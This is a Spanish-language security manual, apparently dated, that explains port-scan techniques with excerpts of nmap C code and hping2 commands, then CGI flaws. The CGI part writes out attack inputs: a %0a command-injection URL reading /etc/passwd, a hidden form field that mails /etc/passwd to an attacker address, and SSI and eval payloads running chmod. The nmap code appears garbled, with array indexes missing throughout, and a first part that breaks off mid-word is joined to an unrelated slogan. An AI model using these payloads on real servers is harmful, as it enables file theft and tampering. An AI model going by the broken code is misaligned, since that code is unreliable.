   FTP  bouncer: bueno,  este metodo  de  escaneo se  basa en  la
caracteristica de  algunos servidores de ftp que  permiten usarlo como
"proxy", es decir,  crear una server-DTP activo que  te permita enviar
cualquier fichero a  cualquier otro server.  La tecnica  en si para el
proposito de escaneo de puertos consiste en conectar por ftp al server
y mediante el  comando PORT declarar el "User-DTP"  pasivo que escucha
en el puerto que queremos saber si esta abierto.  Despues, se actua de
la  siguiente  forma: se  hace  un LIST  del  directorio  actual y  el
resultado  sera  enviado  al   canal  Server-DTP.  Si  el  puerto  que
comprobamos  esta abierto  todo  ocurre con  normalidad generando  las
respuestas 150 y  226 pero si el puerto  esta cerrado obtendremos "425
Can't build data connection: Connection refused.".  Este metodo, es en
parte no lo suficientemente rapido pero  aun asi puede ser util ya que
es dificil de tracear por parte del server remoto.
    Un ejemplo de implementacion de esta tecnica en codigo C: (nmap)

    ...

portlist bounce_scan(struct hoststruct *target, unsigned short *portarray,
                     struct ftpinfo *ftp) {

    /* vemos el inicio de la funcion que aplica esta tecnica */

    ...

int starttime,  res , sd = ftp->sd,  i=0;
char *t = (char *)&target->host;
int retriesleft = FTP_RETRIES;
char recvbuf[2048];
char targetstr[20];
char command[512];

#ifndef HAVE_SNPRINTF
sprintf(targetstr, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[3]));
#else
  snprintf(targetstr, 20, "%d,%d,%d,%d,0,", UC(t[0]), UC(t[1]), UC(t[2]), UC(t[
3]));
#endif

   /*  simplemente  definicion  de  variables y  usa  snprintf  o
sprintf segun si se tiene o no */

   ...

starttime = time(NULL);
if (o.verbose || o.debugging)
  printf("Initiating TCP ftp bounce scan against %s (%s)\n",
         target->name,  inet_ntoa(target->host));
for(i=0; portarray; i++) {
#ifndef HAVE_SNPRINTF
  sprintf(command, "PORT %s%i\r\n", targetstr, portarray);
#else
  snprintf(command, 512, "PORT %s%i\r\n", targetstr, portarray);
#endif

   /* inicio del escaneo, definicion de bucle para ir cambiando
puerto (portarray) */

   ...

  if (send(sd, command, strlen(command), 0) < 0 ) {
    perror("send in bounce_scan");
    if (retriesleft) {
      if (o.verbose || o.debugging)
        printf("Our ftp proxy server hung up on us!  retrying\n");
      retriesleft--;
      close(sd);
      ftp->sd = ftp_anon_connect(ftp);
      if (ftp->sd < 0) return target->ports;
      sd = ftp->sd;
      i--;
    }
    else {
      fprintf(stderr, "Our socket descriptor is dead and we are out of retries.
Giving up.\n");
      close(sd);
      ftp->sd = -1;
      return target->ports;
    }
  } else {
    res = recvtime(sd, recvbuf, 2048,15);
    if (res <= 0) perror("recv problem from ftp bounce server\n");
    else {
      recvbuf[res] = '\0';
  if (o.debugging) printf("result of port query on port %i: %s",
                            portarray,  recvbuf);
      if (recvbuf[0] == '5') {
        if (portarray > 1023) {
        fprintf(stderr, "Your ftp bounce server sucks, it won't let us feed bog
us ports!\n");
        exit(1);
      }


      /* en esta  parte de code mira que envia  con send() y comprueba
que el  envio ha sido correcto  y la recepcion  tambien, comprueba que
hace  uso de ftp_anon_connect(),  funcion que  podras encontrar  en el
codigo fuente de nmap en nmap.c, pero que yo no he copiado aqui por no
alargar mas  la explicacion, el  nombre ya indica obviamente  para que
sirve. Puedes ver que cuando  recibe bien y "if (o.debugging) entonces
saca en pantalla el resultado del query al puerto.  */

      ...

      else {
        fprintf(stderr, "Your ftp bounce server doesn't allow priviliged ports,
skipping them.\n");
        while(portarray && portarray < 1024) i++;
        if (!portarray) {
          fprintf(stderr, "And you didn't want to scan any unpriviliged ports.
Giving up.\n");
          /*      close(sd);
          ftp->sd = -1;
          return *ports;*/
          /* screw this gentle return crap!  This is an emergency! */
          exit(1);
        }
      }
      }

      /* en caso de que no se consiga query a ningun puerto */

      ...

    else
      if (send(sd, "LIST\r\n", 6, 0) > 0 ) {
        res = recvtime(sd, recvbuf, 2048,12);
        if (res <= 0)  perror("recv problem from ftp bounce server\n");
        else {
          recvbuf[res] = '\0';
          if (o.debugging) printf("result of LIST: %s", recvbuf);
          if (!strncmp(recvbuf, "500", 3)) {
            /* fuck, we are not aligned properly */
            if (o.verbose || o.debugging)
              printf("misalignment detected ... correcting.\n");
             res = recvtime(sd, recvbuf, 2048,10);
          }
          if (recvbuf[0] == '1' || recvbuf[0] == '2') {
            if (o.verbose || o.debugging) printf("Port number %i appears good.\
n", portarray);
            addport(&target->ports, portarray, IPPROTO_TCP, NULL);
            if (recvbuf[0] == '1') {
            res = recvtime(sd, recvbuf, 2048,5);
            recvbuf[res] = '\0';
            if (res > 0) {
              if (o.debugging) printf("nxt line: %s", recvbuf);
              if (recvbuf[0] == '4' && recvbuf[1] == '2' &&
                  recvbuf[2] == '6') {


                deleteport(&target->ports, portarray, IPPROTO_TCP);
                if (o.debugging || o.verbose)
                  printf("Changed my mind about port %i\n", portarray);
              }
            }
            }
          }
        }
      }
    }
  }
}

   /* empieza con  el LIST al server. Ademas  vemos que comprueba
si no hay  una alineacion correcta y la  corrige. Finalmente añade los
puertos  que   comprueba  que   estan  abiertos  y..   (ver  siguiente
comentario) */
 
if (o.debugging || o.verbose)
  printf("Scanned %d ports in %ld seconds via the Bounce scan.\n",
         o.numports, (long) time(NULL) - starttime);
return target->ports;
}
             
   /* final  de la funcion, devuelve los  puertos abiertos, final
del bounce scan */

       Envio de  ACKs: este metodo se  basa en el envio  de un paquete
ACK. El metodo de analisis de la respuesta RST puede ser:

       1. fijarse en el valor del TTL
       2. fijarse en el valor de win

       1. Si  el  puerto  esta  abierto  entonces  encontramos  en  la
          respuesta un valor de ttl menor de 64.
       2. Si el puerto esta abierto  encontramos un valor de win en la
          respuesta distinto de 0.

     Pero, esta tecnica  de escaneo no se cumple  en todo tipo de
sistemas y su implementacion no esta muy clara. Si quieres saber mas sobre este metodo puedes leer Phrack 49; articulo 15 de Uriel Maimon.


       Null  scan: este metodo  se basa  en el  envio de  paquetes sin
ningun  flag  en  la  cabecera  TCP,  pero, el  incluir  en  los  bits
reservados (RES1, RES2) no influye.

       En caso de  que el puerto este abierto,  no se recibe respuesta
del  host  remoto pero  en  el  caso de  estar  cerrado  se recibe  un
RST|ACK. Este  tipo de escaneo  solo funciona en  caso de que  el host
remoto sea  unix (BSD sockets).   En la version  1.49 del Nmap  aun no
estaba implementado, actualmente  si; pero no tengo las  fuentes de la
ultima version asi que tendras que buscarlo.

       Para realizar este tipo de pruebas con el hping2 puedes hacer:

       $ hping2 127.0.0.1 -c 1 -p 80

       y en caso de estar cerrado el puerto 80 se recibira un RST|ACK.
       
       Pero, este metodo, puede no  ser valido desde el momento en que
los hosts remotos pueden chequear paquetes sin flags.

       Xmas scan: este metodo es digamos antonimo al NULL ya que en el
todas los  flags estan  activados, es decir,  con SYN, ACK,  FIN, RST,
URG, PSH.y  de nuevo los bits  reservados no influyen  en el resultado
del escaneo  y de nuevo solo  funcionara contra host  remotos que sean
unix, ya que se basa en  la implementacion de la pila TCP/IP que hacen
sistemas unix/linux/bsd.

       En caso de que el puerto este abierto, no se recibe respuesta y
en caso de que este cerrado se recibe un RST|ACK. En lo que se refiere
a las fuentes pasa lo mismo que con el null scan.

       Para realizar esta prueba con  el hping2 tendras que hacer, por
ejemplo:

       $ hping2 127.0.0.1 -c 1 -p 80 -F -S -R -P -A -U -X -Y


       Spoofed scan  a traves  de un 'host  dormido': este  metodo de
escaneo destaca, claro está,  porque aunque sea detectable, no detecta
al  que está  escaneando sino  al 'host  dormido' (considerado  A) (de
actividad 0) que  es utilizado para el escaneo.   Para esta tecnica se
puede usar hping2 y se basa en la variacion del id de los paquetes que
envia A  (host dormido).  Para que se  entienda: Se usara  hping2 para
enviar paquetes TCP con unos flags determinados.

       Exactamente lo  que se  hace es monitorizar  la actividad  de A
para asi obtener el incremento del id que inicialmente es de +1 ya que
no  tiene  actividad.  A  continuacion,  se  enviaran  un paquete  SYN
spoofeado con  la ip del host A  al puerto que queramos  saber si esta
abierto del  host remoto (considerado  B).  Si el  puerto de B  al que
enviamos dichos  paquetes esta abierto  devolvera un paquete SYN  y un
ACK a  A (host dormido),  forzando a B  a mandar un  RST, ya que  A no
inicio dicha  conexion y no  quiere continuar la  comunicacion.  Esto,
hace que A  (host silencioso), tenga actividad y  por tanto que cambie
drasticamente su id,  por tanto, sabremos de esta  forma que el puerto
esta abierto. 

     Lo que hay que puntualizar es que es no es muy sencillo encontrar
un host remoto en el que realmente no haya actividad y ademas no todos
los  citados servidores  sirven puesto  que no  incrementas  su numero
inicial   de  secuencia  de   la  misma   forma.   Para   obtener  una
monitorizacion de la actividad de A (host dormido) se tendra que:

   $ hping2 A -r
HPING B (ppp0 xxx.yyy.zzz.jjj): no flags are set, 40 headers + 0 data bytes
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=xxx win=0 time=1.3 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=80 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=89 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
...

    Para enviar un paquete SYN spoofeado:

    $ hping2 B -a A -S -p puerto
ppp0 default routing interface selected (according to /proc)
HPING 127.0.0.1 (ppp0 127.0.0.1): S set, 40 headers + 0 data bytes
...

    Y entonces  si el  puerto al que  hemos enviado  los paquetes
está  abierto,  vemos  como  en  la monitorizacion  de  A  se observa:

...
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=84 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=92 ms
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=91 ms
...


   Escaneando  UDP mediante  error de  ICMP port  unreachable: En
este metodo  encontramos una primera  diferencia, se usa  el protocolo
UDP,  no TCP. Aunque  dicho protocolo  es mas  simple, es  mas dificil
usarlo  para escanear,  debido  a  que los  puertos  abiertos no  usan
digamos  la funcion  fatica y  los puertos  cerrados no  tienen porque
enviar un mensaje de error  ante nuestros envios.  Pero, la mayoria de
los hosts  mandan un mensaje de error  ICMP_PORT_UNREACH cuando envias
un paquete (UDP) a un puerto  UDP cerrado.  Esto puede ser usado para,
por exclusion,  saber los  puertos que estan  abiertos pero no  es muy
viable, porque tampoco  se tiene la seguridad de que  el error de ICMP
llegue a  nosotros y  es ciertamente lento,  e incluso mas  cuando nos
encontramos con  un host que  limita el numero  de mensajes de  ICMP a
enviar,  como  se  ha  comentado  anteriormente en  los  metodos  para
averiguar el  tipo de OS  que presenta una maquina.  Ademas, necesitas
acceso  de root para  poder construir  raw ICMP  socket para  leer los
puertos inalcanzables.  Un ejemplo de aplicacion de esta tecnica en C:
(nmap)

portlist udp_scan(struct hoststruct *target, unsigned short *portarray) {

   /* inicio de la funcion que pone en practica este metodo */

   ...

  int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res,  num_out = 0;
  int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
  unsigned short outports[MAX_SOCKETS_ALLOWED];
  unsigned short numtries[MAX_SOCKETS_ALLOWED];
  struct sockaddr_in her;
  char senddata[] = "blah\n";
  unsigned long starttime, sleeptime;
  struct timeval shortwait = {1, 0 };
  fd_set  fds_read, fds_write;

  bzero( (char *) outports, o.max_sockets * sizeof(unsigned short));
  bzero( (char *) numtries, o.max_sockets * sizeof(unsigned short));

    /*  como puedes ver,  preliminares, pero  importantes, puesto
que sino no entenderas el resto del code. */


  icmperrlimittime = 60000;
  sleeptime = (target->rtt)? ( target->rtt) + 30000 : 1e5;
if (o.wait) icmperrlimittime = o.wait;
starttime = time(NULL);
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);
if (o.verbose || o.debugging)
printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait dela
y of %li usecs.\n", target->name,  inet_ntoa(target->host), sleeptime);
if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
  perror("Opening ICMP RAW socket");
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  perror("Opening datagram socket");

unblock_socket(icmpsock);
her.sin_addr = target->host;
her.sin_family = AF_INET;

    /* se  observa como icmperrlimittime hace que  no estropee el
scan el hecho de que algunos  SOs pongan limites al numero de mensajes
de error ICMP por tiempo. Abre raw socket y dgram socket. */

    ...
 
while(!done) {
  tmp = num_out;
  for(i=0; (i < o.max_sockets && portarray[j]) || i < tmp; i++) {
    close(udpsock);
    if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
      perror("Opening datagram socket");
    if ((i > tmp && portarray[j]) || numtries > 1) {
      if (i > tmp) her.sin_port = htons(portarray[j++]);
      else her.sin_port = htons(outports);
      FD_SET(udpsock, &fds_write);
      FD_SET(icmpsock, &fds_read);
      shortwait.tv_sec = 1; shortwait.tv_usec = 0;
      usleep(icmperrlimittime);
      res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
       if (FD_ISSET(udpsock, &fds_write))
          bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                         (struct sockaddr *) &her, sizeof(struct sockaddr_in));
      else {
        printf("udpsock not set for writing port %d!",  ntohs(her.sin_port));
        return target->ports;
      }
      if (bytes <= 0) {
        if (errno == ECONNREFUSED) {
          retries = 10;
          do {
            printf("sendto said connection refused on port %d but trying again
anyway.\n", ntohs(her.sin_port));
            usleep(icmperrlimittime);
            bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
                          (struct sockaddr *) &her, sizeof(struct sockaddr_in))
;
            printf("This time it returned %d\n", bytes);
          } while(bytes <= 0 && retries-- > 0);
        }
        if (bytes <= 0) {
          printf("sendto returned %d.", bytes);
          fflush(stdout);
          perror("sendto");
        }
      }
      if (bytes > 0 && i > tmp) {
        num_out++;
        outports = portarray[j-1];
      }
    }
  }
  usleep(sleeptime);
  tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target->host, &targ
et->ports);
  if (o.debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
  done = !portarray[j];
  for (i=0,k=0; i < o.max_sockets; i++)
    if (outports) {
      if (++numtries > max_tries - 1) {
        if (o.debugging || o.verbose)
          printf("Adding port %d for 0 unreachable port generations\n",
                 outports);
        addport(&target->ports, outports, IPPROTO_UDP, NULL);
        num_out--;
        outports = numtries = 0;
      }
      else {
        done = 0;
        outports[k] = outports;
        numtries[k] = numtries;
        if (k != i)
          outports = numtries = 0;
        k++;
      }
    }
  if (num_out == o.max_sockets) {
  printf("Numout is max sockets, that is a problem!\n");
  sleep(1);
  }
}

   /* si  analizas este  fragmento de codigo  (copia un  poco mas
grande  de  lo normal,  pero  es que  es  mas  entendible asi.  Puedes
observar que  se repite el proceso  varias veces; dado  el problema de
que  algunas  veces  los paquetes  ICMP  de  error  no nos  lleguen  a
nosotros, asi  es una forma de  asegurarse. Ademas, puedes  ver que en
todo, si falla algo, te devuelve  justamente el error. Lo mejor es que
analices tu mismo el codigo. */

   ...
       
if (o.debugging || o.verbose)
  printf("The UDP raw ICMP scanned %d ports in  %ld seconds with %d parallel so
ckets.\n", o.numports, time(NULL) - starttime, o.max_sockets);
close(icmpsock);
close(udpsock);
return target->ports;
}
   
   /*  final de la  funcion, devuelve  puertos, saca  en pantalla
datos del escaneo, etc. */

     
       Escaneo UDP basado en recvfrom() y write(): este metodo arregla
el problema  de que los errores  ICMP de port  unreachable solo puedan
ser leidos  por el root.  Para saber si  ha sido recibido un  error de
ICMP basta con usar recvfrom() y se recibira ECONNREFUSED ("Connection
refused", errno 111) si se ha recibido y EAGAIN("Try Again", errno 13)
si no se ha recibido. 
       Un  ejemplo de  este metodo  implementado en  C  lo encontramos
nuevamente en nmap.

portlist lamer_udp_scan(struct hoststruct *target, unsigned short *portarray) {

    /* inicio  de funcion  que implementa este  metodo, no  voy a
copiar  las  definiciones de  variables  e  inicializacion del  primer
socket.   Si quieres  verlo completo  revisa las  fuentes de  nmap por
ejemplo /nmap-1.49/nmap.c */

    ...


if (o.wait) sleeptime = o.wait;
else sleeptime =  calculate_sleep(target->host) + 60000;
if (o.verbose || o.debugging)
  printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", target->name,
         inet_ntoa(target->host), sleeptime);
starttime = time(NULL);

     /* temporizador/saca en pantalla que se inicia el escaneo */

     ...

for(i = 0 ; i < o.max_sockets; i++)
  trynum =  portno = 0;
while(portarray[j]) {
  for(i=0; i < o.max_sockets && portarray[j]; i++, j++) {
    if (i >= last_open) {
      if ((sockets = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
        {perror("datagram socket troubles"); exit(1);}
      block_socket(sockets);
      portno = portarray[j];
    }
    her.sin_port = htons(portarray[j]);
    bytes = sendto(sockets, data, sizeof(data), 0, (struct sockaddr *) &her,
                   sizeof(struct sockaddr_in));
    usleep(5000);
    if (o.debugging > 1)
      printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
             bytes, sockets, portno, trynum);
    if (bytes < 0 ) {
      printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
             errno);
      perror("");
      trynum = portno = 0;
      close(sockets);
    }
  }

   /* envio de datos al puerto a escanear. Comprueba por ti mismo
el codigo */

  last_open = i;
  /* Might need to change this to 1e6 if you are having problems*/
  usleep(sleeptime + 5e5);
  for(i=0; i < last_open ; i++) {
    if (portno) {
      unblock_socket(sockets);
      if ((bytes = recvfrom(sockets, response, 1024, 0,
                            (struct sockaddr *) &stranger,
                            &sockaddr_in_size)) == -1)
        {
          if (o.debugging > 1)
            printf("2nd recvfrom on port %d returned %d with errno %d.\n",
                   portno, bytes, errno);
          if (errno == EAGAIN /*11*/)
            {
              if (trynum < 2) trynum++;
              else {
                if (RISKY_UDP_SCAN) {
                  printf("Adding port %d after 3 EAGAIN errors.\n", portno);
                  addport(&target->ports, portno, IPPROTO_UDP, NULL);
                }
                else if (o.debugging)
                  printf("Skipping possible false positive, port %d\n",
                         portno);
                trynum = portno = 0;
                close(sockets);
              }
            }
          else if (errno == ECONNREFUSED /*111*/) {
            if (o.debugging > 1)
              printf("Closing socket for port %d, ECONNREFUSED received.\n",
                     portno);
            trynum = portno = 0;
            close(sockets);
          }
          else {
            printf("Curious recvfrom error (%d) on port %hi: ",
                   errno, portno);
            perror("");
            trynum = portno = 0;
            close(sockets);
          }
        }
      else /*bytes is positive*/ {
        if (o.debugging || o.verbose)
          printf("Adding UDP port %d due to positive read!\n", portno);

        addport(&target->ports,portno, IPPROTO_UDP, NULL);
        trynum = portno = 0;
        close(sockets);
      }
    }
  }

   ...

  /* Update last_open, we need to create new sockets.*/
  for(i=0, k=0; i < last_open; i++)
    if (portno) {
      close(sockets);
      sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
      /*      unblock_socket(sockets[k]);*/
      portno[k] = portno;
      trynum[k] = trynum;
      k++;
    }
last_open = k;
  for(i=k; i < o.max_sockets; i++)
    trynum = sockets = portno = 0;
}

/* observa en este fragmento de  codigo como se cumple a la perfeccion
la teoria de explicacion de  este metodo. Me parece un codigo bastante
simple  de analizar  asi que  mirate todos  los if's  y  lo entenderas
perfectamente (siempre que tengas conocimientos de TCP/IP/C */

   ...

if (o.debugging)
  printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
         o.numports, (long) time(NULL) - starttime, o.max_sockets);
return target->ports;
}

   /* fin de la funcion, datos sobre el escaneo, devuelve puertos */

   Escaneo de servicios RPC: es relativamente facil hacer un scan
de  los puertos que  ofrecen servicios  rpc, bastante  rapido y  en la
mayoria de los casos no se dejan logs en el host remoto.  Pero, debido
a  que  han  sido  descubiertas bastantes  vulnerabilidades  en  estos
servicios ciertos sysadmins  han optado por bloquear el  acceso a este
tip
Callar es asentir ¡No te dejes llevar!

soplo

-------------------------------------------------------
CONTINUACION
-------------------------------------------------------

   III Relacion de principales servicios con puertos. Daemons.
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Dado el gran numero de servicios que puede ofrecer una maquina
(/etc/services). No  me parece del  todo logico agregar a  este manual
hojas  y hojas  de documentacion  sobre  todos los  servicios, ya  que
tampoco es el proposito de este manual el enseñar el tipo de servicios
que hay,  que se supone que  un usuario de linux  medio/avanzado ya lo
sabe,  sino  más  bien el  analisis  remoto  del  sistema en  si.   Te
recomiendo  que leas TCP/IP  Illustrated vol.  1 y  2, Internetworking
with TCP/IP  vol. 1 y 2  y TCP/IP Network  Administration; todos ellos
los podras encontrar en www.amazon.com.
   
   Solo quiero puntualizar que en base a los resultados obtenidos
con  un buen  escaneador  de puertos  y  un programa  que averigüe  el
sistema operativo  es facil  analizar los citados  servicios obtenidos
por cada puerto  y los daemons instalados. Por otra  parte, es más que
recomendable    estar   al    día   en    packetstorm.securify.com   o
securityfocus.com en lo  que se refiere a las  vulnerabilidades de los
citados daemons, para así poder parchearlas.

   Aun asi, recomiendo la lectura  de papers o libros (como ya he
dicho anteriormente) para tener una  vision clara de esto. En realidad
este capitulo  del manual  no era  uno de mis  objetivos a  cumplir al
escribirlo ya que creo que ya esta muy bien documentado.

   Para  lo  que  si  que  voy  a dedicar  un  capitulo  dada  su
importancia y  su generalizado uso en  el contexto actual  es para los
CGIs.


   CGIs
   ~~~~
   
   Inicialmente, voy a explicar un  poco el problema en lo que se
refiere a vulnerabilidades de  los scripts CGIs para despues presentar
ejemplo de software  que puede ser utilizado para  encontrar este tipo
de vulnerabilidades tan comunes y al mismo tiempo peligrosas.
   
   CGI significa Common Gateway  Interface. Actualmente su uso en
todo tipo de sistemas es normal  y el lenguaje de programacion que voy
a adoptar para los mismos es PERL, por tanto asumo cierto conocimiento
del  lenguaje  PERL por  el  lector  (si no  lo  tienes  ya sabes  :),
Programming  Perl de  Larry  Wall,  Tom Christiansen  y  Jon Orwat  de
Ed. O'Reilly es un buen  comienzo).  Aunque se pueden usar en sistemas
win* yo trataré el caso de sistemas unix, por ser en los que tengo más
experiencia.
   
   CGI  permite   la  comunicacion  entre   programas  cliente  y
servidores que operan con http, siendo el protocolo en el que se lleva
a cabo esta comunicacion TCP/IP  y el puerto el 80 (privilegiado) pero
se especifican otros puertos no privilegiados.
   
   Hay dos modos basicos en los que operan los scripts CGIs:

   # Permitir  el proceso basico  de datos  que han  sido pasados
mediante un input. Lease scripts  que por ejemplo chequean la correcta
sintaxis de documentos HTML

   # Actuar  como  conducto de  los  datos  que  son pasados  del
programa   cliente   al  servidor   y   devueltos   del  servidor   al
cliente. Lease script que por ejemplo actuan como frontend de una base
de datos del servidor.

   Los  scripts  CGI,  en  realidad,  ademas  de  PERL  (lenguaje
interprete de programacion) se puede  usar TCL, shell script (de unix)
y AppleScript  en lo  que se  refiere a este  tipo de  lenguajes, pero
tambien  se  pueden  usar  lenguajes  de  programacion  compilables  y
lenguajes  de  scripting.  Pero   usare  PERL  ya  que  los  lenguajes
interpretados son mas faciles de  analizar y cambiar que los programas
compilados por razones obvias.

   Los tres metodos aplicable a programas CGI que voy a presentar
son Post, Get y Put. para saber  lo que hace cada uno, puedes leer las
espeficaciones HTTP 1.0.

   Las vulnerabilidades  de los scripts CGI  no estan propiamente
en ellos mismos  sino en las especificaciones http  y los programas de
sistema;   lo   unico  que   permite   CGI   es   acceder  a   citadas
vulnerabilidades.

   Mediante  ellos un  servidor  puede sufrir  lectura remota  de
archivos,  adquisicion de  shell  de forma  ilegal  y modificacion  de
ficheros del sistema asi que es  cierto que hay que analizar bien este
tipo de  programas, ya que como  ves se pone en  peligro la integridad
del sistema. Por lo tanto en un analisis remoto de un sistema es muy a
tener en cuenta este tipo de vulnerabilidades.

   El primer problema de dichos scripts en la falta de validacion
suficiente   en   el  input   del   usuario,   que  conlleva   ciertos
problemas. Los datos pasados mediante  un script CGI que use Get estan
puestos al  final de una url y  estos son tratados por  el script como
una variable de entorno llamada QUERY_STRING, con muestras de la forma
variable=valor. Los llamados 'ampersands' separan dichas muestras (&),
y junto con  los caracteres no alfanumericos deben  de ser codificados
como  valores  hexadecimales  de   dos  digitos.  Todos  ellos,  viene
precedidos por  el signo % en la  url codificada. Es el  script CGI el
tiene que  borrar los caracteres que  han sido pasados  por el usuario
mediante input, por ejemplo, si se quieren borrar los caracteres < o >
y cosas asi de un documento html:

   /* este ejemplo pertenece a Gregory Gillis */

{$NAME, $VALUE) = split(/=/, $_);       
$VALUE =~ s/\+/ /g;               # reemplaza '+' con ' '     
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # reemplaza %xx con ASCII
$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g; #borra caracs especiales
$MYDATA[$NAME} = $VALUE;

   Pero, hay una cosa que no  hace este pequeño ejemplo, no se es
consciente de la posibilidad de crear una nueva linea mediante %0a que
se puede usar para ejecutar comandos diferentes de los del script. Por
ejemplo, se podria hacer lo siguiente, de no caer en la cuenta de esta
vulnerabilidad:

http://www.ejemplo.com/cgi-bin/pregunta?%0a/bin/cat%20/etc/passwd

   %20  es un espacio  en blanco  y %0a  como se  ha especificado
anteriormente es una especie de return.
   
   Digamos que el frontend que  hay en una pagina web para llamar
a un script  CGI es un formulario. En todo  formulario tiene que haber
un input,  este input tiene  un nombre asociado  que digamos es  lo ya
expuesto anteriormente variable=valor.  Para una cierta seguridad, los
contenidos del input deben de ser filtrados y por tanto los caracteres
especiales deben  de ser filtrados a diferencia  del ejemplo comentado
anteriormente.  Los  scripts  CGI   interpretados  que  fallan  en  la
validacion  de  los  datos  pasan   los  dichos  datos  del  input  al
interprete.
   
   Otra etiqueta frecuente en los formularios es la select. Esta,
permite al usuario elegir una  serie de opciones, y dicha seleccion va
justo despues de variable=valor. Pasa  como con el input, de fallar la
validacion   se  asume   que  dicha   etiqueta  solo   contiene  datos
predefinidos  y los datos  son pasados  al interprete.   Los programas
compilados  que  no  hacen  una validacion  semejante  son  igualmente
vulnerables.

   Otro de las vulnerabilidades muy frecuentes es el hecho de que
si  el script llama  al programa  de correo  de unix,  y no  filtra la
secuencia '~!' esta puede ser  usada para ejecutar un comando de forma
remota ya que el programa de  correo permite ejecutar un comando de la
forma '~!command', de nuevo, el problema de filtrado esta presente.

   Por otra parte, si encuentras una llamada a exec() con un solo
argumento esta puede  ser usada para obtener una  puerta de acceso. En
el caso  de abrir un fichero por  ejemplo, se puede usar  un pipe para
abrir una shell de la forma:

   open(FICHERO, "| nombre_del_programa $ARGS");

   Continuando  con  funciones  vulnerables,  si  encuentras  una
llamada de  la forma  system() con un  solo argumento, esta  puede ser
usada como  puerta de acceso  al sistema, ya  que el sistema  crea una
shell para esto. Por ejemplo:

   system("/usr/bin/sendmail -t %s < %s, $mail < $fichero");

   /* supongo que te imaginaras:
      <INPUT TYPE="HIDDEN" NAME="mail"
      VALUE="mail@remotehost.com;mail mail@atacante.com; < /etc/passwd">
   */

   
   Scripts  CGIs que  pasan inputs  del usuario  al  comando eval
tambien se pueden aprovechar, puesto que:


   $_ = $VALOR
   s/"/\\"/g
   $RESULTADO = eval qq/"$_"/;

   Asi, si  por ejemplo $VALOR contiene  algun comando malicioso,
el resultado para el servidor remoto puede ser bastante malo.
   
   Es muy  recomendable revisar que  los permisos de  fichero son
correctos y por  ejemplo de usar la libreria  cgi-lib, cosa muy normal
esta  debe  de  tener   los  correspondientes  permisos  ya  que  sino
estariamos ante otra vulnerabilidad.  Para chequear estos permisos, se
haria de la forma generica: "%0a/bin/ls%20-la%20/usr/src/include".  Si
se llegase a copiar, modificar  y reemplazar dicha libreria se podrian
ejecutar  comandos o  rutinas de  forma  remota, con  lo que  conlleva
eso. Ademas, si el interprete de  PERL utilizado por el cgi es SETUID,
sera posible modificar permisos de los ficheros que quieras pasando un
comando directamente  al sistema  a traves del  interprete, y  asi por
ejemplo:

$_ = "chmod 666 \/etc\/host.deny"
$RESULT = eval qq/"$_"/;

   Esto  es  gracias  a  SSI   y  la  mayoria  de  los  sysadmins
competentes tendrian que desactivarlo. Para saber si un server utiliza
esto se haria de la siguiente forma:

   <!--#command variable="value" -->

   <!--#exec cmd="chmod 666 /etc/host.deny"-->

   Te recomiendo la  lectura de Perl CGI problems  by rfp (phrack
55) para tener  una vision mas  completa del problema, ya  que analiza
mas fallos de seguridad de CGIs.

   Actualmente,  hay  escaneadores de  CGIs  en  los  que se  han
descubierto vulnerabilidades, que en muchos  casos son de este tipo, o
de otros mas  complejos que tampoco me parece  factible explicarlos en
un  paper de este  tipo.  A  continuacion te  presento algunos  de los
escaneadores de vulnerabilidades CGIs que me parecen mas completos (en
este  apartado  simplemente nombrare  los  especificos  de  CGIs y  no
aquellos  escaners  de tipo  vetescan  que  entre sus  funcionalidades
añadidas esta este tipo de escaneo):

   - whisker by rain forest puppy
   http://www.wiretrip.net/rfp/
   - voideye by duke
   http://packetstorm.securify.com/UNIX/cgi-scanners/voideye.zip
   - ucgi by su1d sh3ll: 
        http://infected.ilm.net/unlg/
   - Tss-cgi.sh
   http://www.team-tss.org
   - Cgichk
   http://sourceforge.net/projects/cgichk/
   - cgiscanner.pl (de raza mexicana)
   http://packetstorm.securify.com/UNIX/scanners/cgiscanner.pl

   Destacar, que para mi, el mejor de los citados es el whisker de rfp :)
   Y bueno, se acabo.


